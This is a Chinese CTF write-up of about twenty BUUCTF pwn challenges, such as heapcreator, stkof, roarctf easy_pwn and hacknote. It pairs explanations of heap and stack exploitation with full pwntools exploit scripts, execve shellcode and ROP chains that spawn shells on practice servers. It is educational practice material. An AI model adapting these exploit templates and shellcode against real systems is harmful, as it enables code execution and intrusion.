BUUCTF-PWN-第三页writep(32题)

其实早做好了,第四页都做了一半了,但是最近比较忙,所以就没发。其次,我的题解是一边做题一边写的,所以可能会包含部分错误的想法(应该都纠正了)、前后矛盾、碎碎念、无语吐槽等丰富要素,如有错误欢迎指出,当然除非是搜跟本标题一样的关键词,不然我这篇随笔应该是没几个人看了,一次性更新32道题不容易啊,要一张一张图复制粘贴

hitcontraining_heapcreator

经典的堆菜单
0
create 函数,一共创建两个堆
0
edit 函数
0
可以看到划红线部分多写了一个字符,这就是 of-by-one 漏洞
show 函数

delete 函数

很正常,指向堆的指针也被释放掉了,那么就只能利用 of-by-one 漏洞了
get-shell 思路
  1. 利用of-by-one 漏洞修改下一个chunk的size,构造出 fake-chunk
  2. free掉构造的 fake-chunk
  3. 申请该大小的chunk,产生 chunk overlap,进而修改关键指针
我们这里创建三个chunk
create(0x18, 'aaaa') 
create(0x10, 'bbbb') 
create(0x10, 'cccc')
为什么第一个 chunk 的大小是 0x18呢,在内存中,prev size 和 size 各 8 个字节,如果我们申请一个大小为 0x18 的 chunk ,那么该 chunk 就会占用 下一个 chunk 的 prev size ,那么我们就可以利用 of-by-one 漏洞来修改下一个 chunk 的 size
如图
下图清晰展示了 3 个 chunk 的关系
接下来要利用 of-by-one 漏洞来产生 chunk overlap
create(0x18, 'aaaa') 
create(0x10, 'bbbb') 
create(0x10, 'cccc') 
edit(0, b'/bin/sh\x00' + p64(0)*2 + b'\x81')
如图,将 chunk1 修改成了 0x81 的大小
接下来 free chunk1 ,并且再申请一个 0x70 大小的 fake-chunk ,那么,该 chunk 就会被 bins 中重新启用,这时候我们就可以对 chunk2 的数据进行修改了
将 chunk2 中的第一个 chunk 中存放第二个 chunk 的指针的位置修改成 free 函数的 got 地址。
edit(0, b'/bin/sh\x00' + p64(0)*2 + b'\x81') 
free(1) 
create(0x70, p64(0)*8 + p64(0x8) + p64(elf.got['free']))
这样,我们进行 show(2) 操作的时候,就会把 free 函数的地址泄露出来
然后,如果进行 edit(2) 操作,就行对 free 函数地址的数据进行修改,我们把它修改为 system 函数 的地址
最后,再进行 free(0) 操作,就能执行 system('/bin/sh')
值得注意的是,由于 edit 函数的规定,所以 chunk2 的原本 size 数据应该不为 0 ,否则,edit 函数将写不了数据,也就无法改为 system 函数的地址了
完整exp如下
from pwn import *
context.log_level="debug"

p = remote('node4.buuoj.cn', 25879)
#p = process('1')
elf = ELF('1')
libc = ELF('CTF_tool/libc-2.23-x64.so')

def create(size, content):
p.sendlineafter('Your choice :', '1')
p.sendlineafter('Size of Heap :', str(size))
p.sendlineafter('Content of heap:', content)
def edit(index, content):
p.sendlineafter('Your choice :', '2')
p.sendlineafter('Index :', str(index))
p.sendlineafter('Content of heap :', content)
def show(index):
p.sendlineafter('Your choice :', '3')
p.sendlineafter('Index :', str(index))
def free(index):
p.sendlineafter('Your choice :', '4')
p.sendlineafter('Index :', str(index))

create(0x18, 'aaaa')
create(0x10, 'bbbb')
create(0x10, 'cccc')

edit(0, b'/bin/sh\x00' + p64(0)*2 + b'\x81')
free(1)
create(0x70, p64(0)*8 + p64(0x8) + p64(elf.got['free']))

show(2)
free_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
system_addr = free_addr - libc.symbols['free'] + libc.symbols['system']
edit(2, p64(system_addr))
free(0)
p.interactive()

ciscn_2019_s_9

ret2shellcode
0
jmp esp
0
这是要我们写入 shellcode ,然后跳转到esp去执行
0
一个要注意的是 shellcode 的长度不能过长,另一个是 p32(jmp_esp) 指令被执行前,esp 已经跳转到了距离 shellcode + 0x28 的地方,所有我们要控制 esp 指向 shellcode ,然后跳转 shellcode 执行
 
from pwn import *
from LibcSearcher import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'i386')

p = process('./pwn')
#p = remote('node4.buuoj.cn', 25829)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23-x64.so')

jmp_esp = 0x08048554

shellcode = b'\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
payload = shellcode.ljust(0x24, b'\x00') + p32(jmp_esp) + asm("sub esp,0x28;call esp")
p.recv()
p.sendline(payload)
p.interactive()

hitcon2014_stkof

一道没有菜单的堆题
直接创建堆块,并创建指向堆块的 index
0
free ,会释放堆块,也会清空指针
0
应该是 dump
0
edit 模块,存在堆溢出
0
比较有趣的是
是通过 v5 的返回值去判断各个函数是否成功执行
没搞懂,我只创建了一个 0x10 大小的堆,为什么多了两个大堆(堆风水问题,有时候就是这样)
存放 chunk 指针的数组在 bss 段上,我们在这里利用 fast bin attack 构造 fake chunk
然后修改 chunk1(本题从 1 开始) 的指针为 free@got ,然后 edit(1) 修改为 system@plt
chunk2 存放 /bin/sh ,最后 free(2) 即可 getshell
这里我们利用 chunk3 和 chunk 4 、chunk5 进行 fast bin attack
顺利找到 fake_chunk
然后我发现,程序中没有 syttem 函数,并且 dump 没办法帮我们泄露 libc
先将 free@plt 修改为 puts@plt ,然后去泄露?感觉可行,试试
并且修改 s[2] 为 puts@got ,free(2) 即可泄露 puts_addr
然后再把 free@plt 修改为 system@plt,chunk7 放入 /bin/sh
最后 free(7) 即可 getshell
from pwn import *
from LibcSearcher import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'i386')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 29623)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23-x64.so')

def add(size):
p.sendline('1')
p.sendline(str(size))
p.recv()
def free(index):
p.sendline('3')
p.sendline(str(index))
p.recv()
def dump(index):
p.sendline('4')
p.sendline(str(index))
p.recv()
def edit(index, content):
p.sendline('2')
p.sendline(str(index))
p.sendline(str(len(content)))
p.send(content)
p.recv()
add(0x10) #1
add(0x10) #2
add(0x10) #3
add(0x60) #4
add(0x60) #5
add(0x10) #6
add(0x10) #7
# fast bin attack
free(4)
free(5)

fake_chunk = 0x6020cd
payload = p64(0)*3 + p64(0x71) + p64(0)*13 + p64(0x71) + p64(fake_chunk)
edit(3, payload)
add(0x60) #index8 -> chunk5
add(0x60) #index9 -> fake_chunk

# leak libcbase
payload = b'a'*0x6b + p64(elf.got['free']) + p64(elf.got['puts'])
edit(9, payload)
edit(1, p64(elf.plt['puts']))
# free(2)
p.sendline('3')
p.sendline('2')
puts_addr = u64(p.recv(6).ljust(8, b'\x00'))
print('puts_addr => ', hex(puts_addr))
libcbase = puts_addr - libc.sym['puts']
system = libcbase + libc.sym['system']
print('system_addr => ', hex(system))
# pwn
edit(7, b'/bin/sh\x00')
edit(1, p64(system))
p.sendline('3')
p.sendline('7')
p.interactive()

roarctf_2019_easy_pwn

一道保护全开的菜单堆题
0
创建堆的函数,用了一个数组去存放堆块是否使用的标志,还有一个数组存放其堆块的大小,还有一个数组存放堆块的指针
0
比较特殊的是 edit 这里
这里的 sub_E26
如果我们编辑堆块时候填入的 size 比创建堆块的时候填入的 size 大 10,那么就可以比创建堆块的大小多写入一个字节
free 平平无奇
show 这里输入的字节是看创建堆块时候写入的大小
这道题看到这应该就是利用 off by one 漏洞了,但是堆块中没有存放指针一类数据,就算利用 off by one 进行堆块重叠也没什么用,保护全开,那么 unlink 使用前也要先泄露基址
(错误的,这道题有 show 功能,可以利用 show 功能 + 堆块重叠泄露 libc_base ,然后就是正常流程了)
先用 unsorted bin attach 泄露基址吧
add(0x18)
add(0x10)
add(0x80)
add(0x10)

#unsorted bin attack
edit(0, 0x22, p64(0)*3 + p8(0xb1))
free(1)
add(0xa0)
edit(1, 0x20, p64(0)*3 + p64(0x91))
free(2)
dump(1)
main_arena_88 = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print('main_arena_88 => ',  hex(main_arena_88))
libcbase = main_arena_88 - 0x68 - libc.sym['__malloc_hook']
print('libcbase => ', hex(libcbase))
这里要注意两个点,第一个是 off by one 伪造 fake chunk 的时候,要令被伪造大小的 chunk 的 size 足以覆盖下一个堆,才能绕过内存检测,第二个是该程序申请 chunk 的时候用到是 calloc ,所以要先恢复现场,再 free
可以看到这里泄露的是 main_arena + 88
还有 __malloc_hook 的地址
接下来应该是用 fast bin attack 构造 fake chunk 修改 __malloc_hook
#fast bin attack
add(0x60) #index2
add(0x60) #index4
free(4)
free(2)
fake_chunk = main_arena_88 - 0x68 - 0x23
print('fake_chunk => ', hex(fake_chunk))
edit(1, 0x28, p64(0)*3 + p64(0x71) + p64(fake_chunk))

add(0x60) #index2 -> chunk2
add(0x60) #index4 -> fake_chunk
one_gadget = libcbase + 0x45216
print('one_gadget => ', hex(one_gadget))
edit(4, 0x1b, b'a'*0x13 + p64(one_gadget))
add(0x10)
p.interactive()
但是,one_gadget 全部失效了
这里可以用到 realloc 来重新设置环境变量
如这个 one_gadget 需要 rsp + 0x30 == NULL
0
realloc 函数会先压栈,最后再全部出栈
0
我们可以通过 地址 控制压栈的次数,从而控制 esp 的位置
如该程序到执行 one_gadget 时,rsp + 0x38 == NULL,那么我们可以少压一个栈,令 rsp + 0x30 == rsp + 0x38 == NULL
还有 realloc_hook 就在 malloc_hook 上面一个内存单元,我们同样可以顺便修改,把 realloc_hook 修改成 one_gadget ,把 malloc_hook 修改成 realloc + 2
那么,当我们执行 malloc 的时候,会执行 malloc_hook == realloc ,然后执行 realloc_hook == one_gadget
exp
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'i386')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 27156)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23-x64.so')

def add(size):
p.sendlineafter(b'choice: ', '1')
p.sendlineafter(b'size: ', str(size))
def edit(index, size, content):
p.sendlineafter(b'choice: ', '2')
p.sendlineafter(b'index: ', str(index))
p.sendlineafter(b'size: ', str(size))
p.sendafter('content: ', content)
def free(index):
p.sendlineafter(b'choice: ', '3')
p.sendlineafter(b'index: ', str(index))
def dump(index):
p.sendlineafter(b'choice: ', '4')
p.sendlineafter(b'index: ', str(index))

add(0x18)
add(0x10)
add(0x80)
add(0x10)

#unsorted bin attack
edit(0, 0x22, p64(0)*3 + p8(0xb1))
free(1)
add(0xa0)
edit(1, 0x20, p64(0)*3 + p64(0x91))
free(2)
dump(1)
main_arena_88 = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libcbase = main_arena_88 - 0x3c4b78
print('libcbase => ', hex(libcbase))

#fast bin attack
add(0x60) #index2
add(0x60) #index4
free(4)
free(2)
fake_chunk = main_arena_88 - 0x68 - 0x23
print('fake_chunk => ', hex(fake_chunk))
edit(1, 0x28, p64(0)*3 + p64(0x71) + p64(fake_chunk))

add(0x60) #index2 -> chunk2
add(0x60) #index4 -> fake_chunk
one_gadget = libcbase + 0x4526a
realloc_hook = libcbase + libc.sym['realloc']
print('realloc_hook => ', hex(realloc_hook))
print('one_gadget => ', hex(one_gadget))
edit(4, 0x1b, b'a'*0xb + p64(one_gadget) + p64(realloc_hook+2))
#gdb.attach(p)
#pause()
add(0x10)
p.interactive()

pwnable_hacknote

0
一道菜单堆题
0
add 申请了两个堆块,0x8的堆块前四个字节存放 puts ,后四个字节存放另一个堆块的指针
0
free 明显的 UAF
show
很简单的题了,和前面第一页的一道题比较像,这里直接丢 exp
但是 show 有坑,会把 system 带入命令参数会报
使用 sh 前得加 ; 隔断命令参数
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'i386')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 29381)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23.so')

def add(size, content):
p.sendlineafter(b'Your choice :', '1')
p.sendlineafter(b'Note size :', str(size))
p.sendafter(b'Content :', content)
def free(index):
p.sendlineafter(b'Your choice :', '2')
p.sendlineafter(b'Index :', str(index))
def show(index):
p.sendlineafter(b'Your choice :', '3')
p.sendlineafter(b'Index :', str(index))
add(0x20, b'aaaa') #0
add(0x20, b'bbbb') #1

free(0)
free(1)
add(0x8, p32(0x804862b) + p32(elf.got['puts'])) #2
show(0)
puts_addr = u32(p.recv(4))
libcbase = puts_addr - libc.sym['puts']
print('libcbase => ', hex(puts_addr))
system = libcbase + libc.sym['system']
binsh = libcbase + next(libc.search(b'sh\x00'))
one_gadget = libcbase + 0x5f066
free(2)
add(0x8, p32(system) + b';sh\x00') #3

show(0)
#p.recv()
p.interactive()

picoctf_2018_shellcode

from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'i386')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 29180)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23.so')

shellcode = b'\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
p.recv()
p.sendline(shellcode)
p.interactive()

ciscn_2019_es_7

用 CSUROP 或 SROP 的做法,和第一页一道题一模一样
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 25138)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23.so')

ret = 0x4003a9
rax_15 = 0x4004DA
syscall = 0x400517

payload = b'a'*0x10 + p64(elf.sym['vuln'])
p.sendline(payload)
p.recv(0x20)
binsh = u64(p.recv(6).ljust(8, b'\x00')) - 0x118
print('binsh=>',hex(binsh))

# 设置sigframe关键寄存器
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = binsh
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rip = syscall

print('sigframe.rax:',sigframe.rax)
payload = b'/bin/sh\x00'*2 + p64(rax_15) + p64(syscall) + flat(sigframe)

p.sendline(payload)
p.interactive()

jarvisoj_level5

from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 28540)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23-x64.so')

ret = 0x400499
rdi = 0x4006b3
rsi_r15 = 0x4006b1
payload = b'a'*0x88 + p64(rdi) + p64(1) + p64(rsi_r15) + p64(elf.got['write']) + p64(0) + p64(elf.plt['write']) + p64(elf.sym['main'])
p.sendlineafter(b'Input:\n', payload)
write_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libcbase = write_addr - libc.sym['write']
print('libcbase => ', hex(libcbase))
system = libcbase + libc.sym['system']
binsh = libcbase + next(libc.search(b'/bin/sh\x00'))
payload = b'a'*0x88 + p64(rdi) + p64(binsh) + p64(system)
p.sendlineafter(b'Input:\n', payload)
p.interactive()

hitcontraining_bamboobox

菜单堆题
0
add 一个数组放堆块的大小,一个数组放堆块的指针
0
edit 堆溢出
show,以枚举的形式打印数据
free , 注意 free 后 num - 1
值得一提的是这里会多申请一个堆块,存放两段字符串信息
开始循环退出循环之前会将其打印
竟然还有一个后门函数
按这道题想让我做的解法应该就是修改 v4[1] ,使其指向 magic 了
利用 fast bin attack ,覆盖 0x10 大小的这个堆,就能改写了
虽然这里堆的地址不知道,但是我只要修改 fd 的最后两字节为 00 就行了,不错,感觉堆越学越好了
emm,无语了
最后的代码会用 \x00 截断,这种方法是行不通了
这里用 house of force
只要top chunk size够大,就能随意申请chunk
所以,如果有溢出能控制top chunk size,就可以修改其为-1(0xffffffffffffffff最大值),然后malloc(负数)可以向上申请
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 26428)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23-x64.so')

def add(size, content):
p.sendlineafter(b'Your choice:', '2')
p.sendlineafter(b'Please enter the length of item name:', str(size))
p.sendafter(b'Please enter the name of item:', content)
def show():
p.sendlineafter(b'Your choice:', '1')
def edit(index, content):
p.sendlineafter(b'Your choice:', '3')
p.sendlineafter(b'Please enter the index of item:', str(index))
p.sendlineafter(b'Please enter the length of item name:', str(len(content)))
p.sendafter(b'Please enter the new name of the item:', content)
def free(index):
p.sendlineafter(b'Your choice:', '4')
p.sendlineafter(b'Please enter the index of item:', str(index))
def get_flag():
p.sendlineafter(b'Your choice:', '5')

add(0x30, b'a') # index0
edit(0, p64(0)*7 + p64(0xffffffffffffffff))
add(-0x70, b'b') # index1
add(0x10, p64(0) + p64(elf.sym['magic']))
print('magin => ', hex(elf.sym['magic']))
get_flag()
print(p.recv())
#gdb.attach(p)
#pause()
不过 flag 并不在 magic 函数读的路径下,只能 getshell了
该利用姿势是由于libc的堆管理在malloc的时候默认top chunk的size是正确合法的,所以不会去检查top chunk的size值,这就导致了一种情况,当一个程序存在可以修改top chunk size的漏洞时,我们把top chunk的size修改成0xffffffff(x86)
假设这个时候的top_chunk=0x601200, 然后malloc(0xffe00020),然后对malloc申请的size进行检查,0xffe00030 < top_chunk_size,所以可以成功malloc内存,然后计算top_chunk的新地址:0xffe00030+0x601200=0x100401230, 因为是x86环境,最高位溢出了,所以top_chunk=0x401230
然后下次我们再malloc的时候,返回的地址就是0x401238
add(0x30, b'a') # index0
edit(0, p64(0)*7 + p64(0xffffffffffffffff))
add(-0x70, b'b') # index1
add(0x10, p64(elf.sym['magic'])*2)
print('magic => ', hex(elf.sym['magic']))
get_flag()
那就用 fast bin attak 构造 fake_chunk ,修改 index
比较简单就丢 exp 了
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 29013)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23-x64.so')

def add(size, content):
p.sendlineafter(b'Your choice:', '2')
p.sendlineafter(b'Please enter the length of item name:', str(size))
p.sendafter(b'Please enter the name of item:', content)
def show():
p.sendlineafter(b'Your choice:', '1')
def edit(index, content):
p.sendlineafter(b'Your choice:', '3')
p.sendlineafter(b'Please enter the index of item:', str(index))
p.sendlineafter(b'Please enter the length of item name:', str(len(content)))
p.sendafter(b'Please enter the new name of the item:', content)
def free(index):
p.sendlineafter(b'Your choice:', '4')
p.sendlineafter(b'Please enter the index of item:', str(index))
def get_shell():
p.sendlineafter(b'Your choice:', '/bin/sh\x00')

add(0x10, b'a') # index0
add(0x60, b'b') # index1
add(0x60, b'c') # index2
add(0x10, b'd') # index3
free(1)
free(2)
fake_chunk = 0x60209d
payload = p64(0)*3 + p64(0x71) + p64(0)*13 + p64(0x71) + p64(fake_chunk)
edit(0, payload)
add(0x60, b'a') #index1 -> chunk2
add(0x60, b'b') #index2 -> fake_chunk
edit(2, b'a'*0x1b + p64(elf.got['atoi']))
show()
atoi_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
system = atoi_addr - libc.sym['atoi'] + libc.sym['system']
edit(0, p64(system))
get_shell()
p.interactive()

npuctf_2020_easyheap

菜单堆题
0
add , 一共创建两个堆块, 0x10 的堆块前八字节存放大小,后八字节存放自定义大小的另一个堆块的指针,并且,自定义大小的堆块的大小只能是 0x18 或 0x38
0
edit 存在 off by one 漏洞 ,注意读的大小是根据 0x10 堆块的前八个字节决定的,堆块重叠后修改时记得恢复,不然无法读
show
free
虽然限制了堆的大小,但是还是能利用 off by one 进行堆块重叠,修改 0x10 堆块上后八字节存放的指针
比较容易,就直接丢 exp 了
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'i386')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 26541)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.27-x64.so')

def add(size, content):
p.sendlineafter(b'Your choice :', '1')
p.sendlineafter(b'Size of Heap(0x10 or 0x20 only) : ', str(size))
p.sendafter(b'Content:', content)
def edit(index, content):
p.sendlineafter(b'Your choice :', '2')
p.sendlineafter(b'Index :', str(index))
p.sendafter(b'Content:', content)
def show(index):
p.sendlineafter(b'Your choice :', '3')
p.sendlineafter(b'Index :', str(index))
def free(index):
p.sendlineafter(b'Your choice :', '4')
p.sendlineafter(b'Index :', str(index))
def get_shell():
p.sendlineafter(b'Your choice :', 'sh\x00\x00') #这里只能读四个字节

add(0x18, b'a') # index0
add(0x18, b'b') # index1
add(0x18, b'c') # index2
edit(0, p64(0)*3 + p8(0x41))
free(1)
add(0x38, b'd') # index1
edit(1, p64(0)*3 + p64(0x21) + p64(0x38) + p64(elf.got['atoi']))
show(1)
p.recvuntil(b'Content : ')
atoi_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
system = atoi_addr - libc.sym['atoi'] + libc.sym['system']
print('system_addr => ', hex(system))
edit(1, p64(system))
get_shell()
p.interactive()

cmcc_pwnme2

明显的栈溢出
0
add_home
0
add_flag
0
exec_string
很明显,要我依次调用函数去读 flag
pop_ebx = 0x08048409
pop_edi_ebp = 0x0804867f

payload = b'a'*0x70 + p32(elf.sym['add_home']) + p32(pop_ebx) + p32(0xDEADBEEF) +  p32(elf.sym['add_flag']) + p32(pop_edi_ebp) + p32(0xCAFEBABE) + p32(0xABADF00D) + p32(elf.sym['exec_string'])
p.recv()
p.sendline(payload)
p.recv()
这样没办法,发现 buu 上的 flag 基本都是放在根目录下的 flag 和 flag.txt 文件里
直接用 ret2libc 的方法解决了
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'i386')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 25730)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23.so')



payload = b'a'*0x70 + p32(elf.sym['puts']) + p32(elf.sym['main']) + p32(elf.got['puts'])
p.recv()
p.sendline(payload)
p.recvline()

puts_addr = u32(p.recv(4))
print('puts_addr => ', hex(puts_addr))
libcbase = puts_addr - libc.sym['puts']
system = libcbase + libc.sym['system']
binsh = libcbase + next(libc.search(b'/bin/sh\x00'))

payload = b'a'*0x70 + p32(system) + p32(elf.sym['main']) + p32(binsh)
p.recv()
p.sendline(payload)

p.interactive()
注意,栈溢出是发生在 strcpy 那里的,不要有 p32(0) ,不然复制着就断了,然后最后 system('/bin/sh') 的时候要跳转回一个正常的地址,不然无法打通
还有一种做法,直接 gets 函数修改 exec_string 读的文件路径即 string 变量为 flag
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'i386')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 25730)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23.so')

string = 0x0804A060

payload = b'a'*0x70 + p32(elf.sym['gets']) + p32(elf.sym['exec_string']) + p32(string)
p.recv()
p.sendline(payload)
p.sendline(b'flag')
print(p.recv())
网上大部分都是这种做法,我是没想到,长见识了

picoctf_2018_got_shell

比较有趣的一道题,让我们在任意地址写四个字节
0
同时存在后门函数
0
本来想着要泄露栈地址 写入 ret 的,后来发现把 puts@plt 改成 win 的地址不也行吗
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'i386')

p = process('./pwn')
#p = remote('node4.buuoj.cn', 26541)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.27-x64.so')

p.recv()
p.sendline(str(hex(elf.got['puts'])))
p.recv()
p.sendline(str(hex((elf.sym['win']))))

p.interactive()

wdb_2018_2nd_easyfmt

from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'i386')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 28001)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23.so')

p.recv()
p.send(p32(elf.got['printf']) + b'%6$s')
print('printf@got => ', hex(elf.got['printf']))
p.recv(4)
printf_addr = u32(p.recv(4))
print('printf_addr => ', hex(printf_addr))

libcbase = printf_addr - libc.sym['printf']
system = libcbase + libc.sym['system']
print('system => ', hex(system))
payload = fmtstr_payload(6, {elf.got['printf']:system}, write_size = 'byte')
print('printf@got => ', hex(elf.got['printf']))
p.send(payload)
p.recv()
p.sendline(b'/bin/sh\x00')
p.interactive()

picoctf_2018_can_you_gets_me

静态编译 + 栈溢出,直接用 ROPgadget 生成 shellcode
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'i386')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 28922)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23.so')

def get_payload():
  p = b'a'*0x1c
  p += pack('<I', 0x0806f02a) # pop edx ; ret
  p += pack('<I', 0x080ea060) # @ .data
  p += pack('<I', 0x080b81c6) # pop eax ; ret
  p += b'/bin'
  p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
  p += pack('<I', 0x0806f02a) # pop edx ; ret
  p += pack('<I', 0x080ea064) # @ .data + 4
  p += pack('<I', 0x080b81c6) # pop eax ; ret
  p += b'//sh'
  p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
  p += pack('<I', 0x0806f02a) # pop edx ; ret
  p += pack('<I', 0x080ea068) # @ .data + 8
  p += pack('<I', 0x08049303) # xor eax, eax ; ret
  p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
  p += pack('<I', 0x080481c9) # pop ebx ; ret
  p += pack('<I', 0x080ea060) # @ .data
  p += pack('<I', 0x080de955) # pop ecx ; ret
  p += pack('<I', 0x080ea068) # @ .data + 8
  p += pack('<I', 0x0806f02a) # pop edx ; ret
  p += pack('<I', 0x080ea068) # @ .data + 8
  p += pack('<I', 0x08049303) # xor eax, eax ; ret
  p += pack('<I', 0x0807a86f) # inc eax ; ret
  p += pack('<I', 0x0807a86f) # inc eax ; ret
  p += pack('<I', 0x0807a86f) # inc eax ; ret
  p += pack('<I', 0x0807a86f) # inc eax ; ret
  p += pack('<I', 0x0807a86f) # inc eax ; ret
  p += pack('<I', 0x0807a86f) # inc eax ; ret
  p += pack('<I', 0x0807a86f) # inc eax ; ret
  p += pack('<I', 0x0807a86f) # inc eax ; ret
  p += pack('<I', 0x0807a86f) # inc eax ; ret
  p += pack('<I', 0x0807a86f) # inc eax ; ret
  p += pack('<I', 0x0807a86f) # inc eax ; ret
  p += pack('<I', 0x0806cc25) # int 0x80
  return p
payload = get_payload()
p.recv()
p.sendline(payload)
p.interactive()

mrctf2020_easy_equation

0
需要利用格式化字符串漏洞修改 judge 的值,写个 for 循环枚举一下,得到 judge 的值应该是 2
想到涉及格式化字符串写小于 4 和 8 的值的知识点,可以先输出对应数量字节,再写格式化字符串偏移,再写地址,不过我这里用 fmtstr_payload 就行了(唉)
0
偏移量为 8 ,还需要补一个字节对齐
但是吧,它用的是 fgets 读,不用 sendline 发不出数据,但是如果用了,会发现
0
%0a 也被当成地址的一部分了,所以 fmtstr_payload 也不是万能的
payload = b'aa%9$naaa' + p64(judge)
这样就行了
0
exp
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'i386')

p = process('./pwn')
#p = remote('node4.buuoj.cn', 28753)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23.so')

judge = 0x60105C
payload = b'aa%9$naaa' + p64(judge)
p.sendline(payload)
p.interactive()

actf_2019_babystack

0
一眼栈迁移,并且给出了 s 的地址
注意两次攻击的 s 地址不同,还好我谨慎发现了,不然又可能要 debug 两三小时
0
exp
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 28797)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.27-x64.so')

leave = 0x400A18
ret = 0x400709
rdi = 0x400ad3

# first attack
p.sendlineafter(b'How many bytes of your message?\n', b'224')
p.recvuntil(b'Your message will be saved at ')
buff = int(p.recv(14), 16)
print('buff => ', hex(buff))
payload = p64(0) + p64(rdi) + p64(elf.got['puts']) +  p64(elf.sym['puts']) + p64(0x4008F6)
payload = payload.ljust(208, b'\x00') + p64(buff) + p64(leave)
p.sendafter(b'>', payload)

# leak libcbase 
p.recvline()
puts = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print('puts => ', hex(puts))
libcbase = puts - libc.sym['puts']
system = libcbase + libc.sym['system']
binsh = libcbase + next(libc.search(b'/bin/sh\x00'))
one_gadget = libcbase + 0x4f322

# second attack
p.sendlineafter(b'How many bytes of your message?\n', b'224')
p.recvuntil(b'Your message will be saved at ')
buff = int(p.recv(14), 16)
print('buff => ', hex(buff))
payload = p64(0) + p64(ret) + p64(rdi) + p64(buff+0x28) + p64(system) + b'/bin/sh\x00'
#payload = p64(0) + p64(ret) + p64(rdi) + p64(binsh) + p64(system)
#payload = p64(0) + p64(one_gadget) 多种payload
payload = payload.ljust(208, b'\x00') + p64(buff) + p64(leave)
p.sendafter(b'>', payload)
p.interactive()
最后,还有注意,泄露基址尽量不要用 sendline 发送 payload !!!

mrctf2020_shellcode_revenge

0
NX 没开,明显的,可以把 shellcode 写进去,并且需要纯字符 shellcode
需要用到 alpha3 这个工具
可以看这位师傅的文章 https://www.proyy.com/9160.html
shellcode_64="Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"
p.send(shellcode_64)
p.interactive()
注意,不能用 sendline 发送数据,我觉得吧,如果非得用 sendline 才能发送,那么末尾可以加一个以 \n 开头的指令,不知道行不行

picoctf_2018_leak_me 

0
模拟登录,要 s1 和 s 相同,应该就是栈溢出了
emm,但是失败了
p.recv()
p.sendline(b'w1nd')
p.recv()
payload = b'123\x00'
payload = payload.ljust(0x140, b'\x00') + b'123\x00'
p.sendline(payload)
print(p.recv())
那就用puts泄露密码
p.recv()
p.send(b'a'*0x100)
p.recv()
#p.sendline(b'a_reAllY_s3cuRe_p4s$word_f85406')
#print(p.recv())

ciscn_2019_final_3

C++ 堆题,第一次见
0
add
0
free 存放 UAF 漏洞
